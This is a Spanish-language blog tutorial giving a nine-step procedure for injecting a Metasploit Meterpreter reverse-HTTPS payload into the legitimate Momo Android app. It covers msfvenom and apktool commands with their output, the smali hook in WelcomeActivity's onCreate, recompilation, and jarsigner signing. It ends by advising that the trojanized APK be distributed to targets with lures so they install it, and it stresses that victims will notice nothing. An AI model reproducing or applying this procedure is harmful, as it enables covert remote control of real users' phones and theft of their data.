Cómo inyectar malware en una aplicación Android legítima.

En éste artículo se hablará sobre la creación de una APK maliciosa partiendo de una legítima con el objetivo de ganar acceso al dispositivo Android sobre el que se instala. En primer lugar es necesario definir cuál será la aplicación con la que se desea trabajar y descargarla, a efectos prácticos, en éste artículo tomaremos como ejemplo la app Momo (immomo.com/download/momo.apk) la cual es utilizada por millones de personas en el mundo, especialmente en países asiáticos. Posteriormente, se puede crear la app maliciosa utilizando las características disponibles en Metasploit Framework, gracias a la utilidad “msfvenom” se puede generar un payload enfocado específicamente a aplicaciones para Android. El objetivo evidentemente es el de inyectar el payload generado por msfvenom en la app legítima, de una forma similar a lo que hacemos con ejecutables PE o ELF para sistemas Windows y GNU/Linux a la hora de aplicar la técnica de “code caving”. Utilizando una herramienta como “apktool” se puede proceder a desempaquetar y decompilar la APK legítima y la APK generada por metasploit y con ambas muestras, se construye una APK nueva partiendo de la aplicación legítima pero inyectando el payload de Metasploit de tal forma que la aplicación original siga funcionando con normalidad.
Lo que se ha explicado anteriormente se puede llevar a la práctica siguiendo el siguiente procedimiento.

1. En primer lugar, se debe generar la APK maliciosa con Metasploit Framework.

>msfvenom -p android/meterpreter/reverse_https LHOST=xxxx LPORT=4444 -o /home/adastra/meterpreter.apk

No platform was selected, choosing Msf::Module::Platform::Android from the payload

No Arch selected, selecting Arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 9295 bytes

Saved as: /home/adastra/meterpreter.apk

2. A continuación, se procede a descargar la app que tal como se ha dicho antes, en este caso será Momo (immomo.com/download/momo.apk) y se procede a desempaquetar y decompilar todo con Apktool https://ibotpeaches.github.io/Apktool/

Primero la app legítima

>apktool d -f -o originalDecompiled momo_6.7_0413_c1.apk

I: Using Apktool 2.1.0-a7535f-SNAPSHOT on momo_6.7_0413_c1.apk

I: Loading resource table…

I: Decoding AndroidManifest.xml with resources…

I: Loading resource table from file: /home/adastra/apktool/framework/1.apk

I: Regular manifest package…

I: Decoding file-resources…

I: Decoding values */* XMLs…

I: Baksmaling classes.dex…

I: Baksmaling classes2.dex…

I: Baksmaling classes3.dex…

I: Copying assets and libs…

I: Copying unknown files…

I: Copying original files…

Y luego, la APK generada por Metasploit Framework.

>apktool d -f -o meterpreterDecompiled meterpreter.apk

I: Using Apktool 2.1.0-a7535f-SNAPSHOT on meterpreter.apk

I: Loading resource table…

I: Decoding AndroidManifest.xml with resources…

I: Loading resource table from file: /home/adastra/apktool/framework/1.apk

I: Regular manifest package…

I: Decoding file-resources…

I: Decoding values */* XMLs…

I: Baksmaling classes.dex…

I: Copying assets and libs…

I: Copying unknown files…

I: Copying original files…

3. A continuación, se copian los ficheros decompilados correspondientes al payload, directamente en la aplicación original decompilada. Concretamente, se deben copiar los ficheros ubicados en:

<meterpreter_apk>/smali

En el directorio:

<momo_apk>/smali

De esta forma, cuando la aplicación APK original vuelva a ser recompilada tendrá en su interior el payload correspondiente. No obstante, hasta este punto el código de dicho payload no será ejecutable, ya que aún no se ha alterado el flujo de ejecución de la aplicación original.

4. Se ha procedido a inyectar el “hook” de Meterpreter en la aplicación original (陌陌), pero para asegurar su ejecución, es necesario inyectar el payload en el código .smali.

Para hacerlo, primero se debe buscar la “activity” adecuada, las cuales se encuentran declaradas en el fichero “AndroidManifest.xml” de la aplicación original. Se debe buscar el lanzador de la aplicación:

<action android:name=”android.intent.action.MAIN”/>

<category android:name=”android.intent.category.LAUNCHER”/>

El atributo android:name de la “activity” principal de MoMo es: android:name=”com.immomo.momo.android.activity.WelcomeActivity”

A continuación, se debe editar el código de la “activity” principal de la aplicación, la cual como se ha visto es “WelcomeActivity” y se encuentra ubicada en

<momo_apk>/smali/com/immomo/momo/android/activity/WelcomeActivity

5. Una vez abierto el código correspondiente a la activity principal de la aplicación, se procede a buscar la función “main” de la clase, la cual debe cumplir con el siguiente patrón:

;->onCreate(Landroid/os/Bundle;)V

En la línea inmediatamente posterior se debe incluir la invocación al payload de Metasploit Framework, que contendrá lo siguiente:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

El aspecto que finalmente tendrán dichas instrucciones en la activity “WelcomeActivity” se puede apreciar en la siguiente imagen

6. Antes de recompilar la aplicación original con el payload inyectado, es necesario establecer los permisos adecuados para que el payload se pueda ejecutar correctamente, dichos permisos deben ser los siguientes:

7. Con los cambios anteriores, se procede a recompilar la aplicación original utilizando APKTool

>apktool b original/originalDecompiled/

I: Using Apktool 2.1.0-a7535f-SNAPSHOT

I: Checking whether sources has changed…

I: Smaling smali folder into classes.dex…

I: Checking whether sources has changed…

I: Smaling smali_classes3 folder into classes3.dex…

I: Checking whether sources has changed…

I: Smaling smali_classes2 folder into classes2.dex…

I: Checking whether resources has changed…

I: Building resources…

I: Copying libs… (/lib)

I: Building apk file…

I: Copying unknown files/dir…

El comando anterior dará como resultado la generación de una APK con todos los cambios realizados anteriormente en el directorio <momo_apk>/original/dist

8. Finalmente se debe firmar el APK generado en el paso anterior con una herramienta como JarSigner, esto es importante para que la APK se pueda instalar en el dispositivo.

>jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA original/originalDecompiled/dist/momo_6.7_0413_c1.apk androiddebugkey

En éste caso se utiliza el keystore por defecto de Android Studio ubicado en <HOME>/.android.

9. Ya está todo preparado, ahora se debe distribuir la APK a aquellos usuarios que sean objetivo de la campaña, evidentemente se deben aplicar las técnicas adecuadas para que los usuarios “piquen” e instalen la aplicación en su dispositivo. Antes de hacerlo, dado que se utiliza Metasploit Framework con un payload del tipo “meterpreter reverse” es necesario iniciar el handler adecuado en la IP/dominio especificado en la propiedad LHOST que se ha indicado a la hora de generar el Payload.

Como se puede apreciar en la imagen anterior, cuando el usuario instala la aplicación en su dispositivo, el payload que se ha inyectado se ejecuta justo después de la invocación a la “activity” principal y el atacante obtiene una sesión Meterpreter, pero lo más importante: La app maliciosa conserva el funcionamiento de la aplicación legítima, sin ningún tipo de interferencia o comportamiento anómalo que haga sospechar a la víctima, esto es sin duda la parte más importante, ya que el usuario no se percatará de lo que está pasando y desde su perspectiva la aplicación funciona correctamente en su dispositivo.

Han sido sólo 9 pasos que nos han permitido componer un vector de ataque interesante enfocado a aplicaciones desarrolladas para dispositivos con Android y aunque éste procedimiento aplica para cualquier APK, es importante tener en cuenta que cada aplicación puede tener características muy concretas que hay que controlar, por ejemplo en el caso de que el código se encuentre ofuscado o que se haga uso de frameworks que debido a su propio funcionamiento, sea necesario tomar un enfoque distinto al explicado en éste artículo, sin embargo el procedimiento sigue siendo perfectamente valido y aplicable a cualquier APK.

Un saludo y Happy Hack!
Adastra.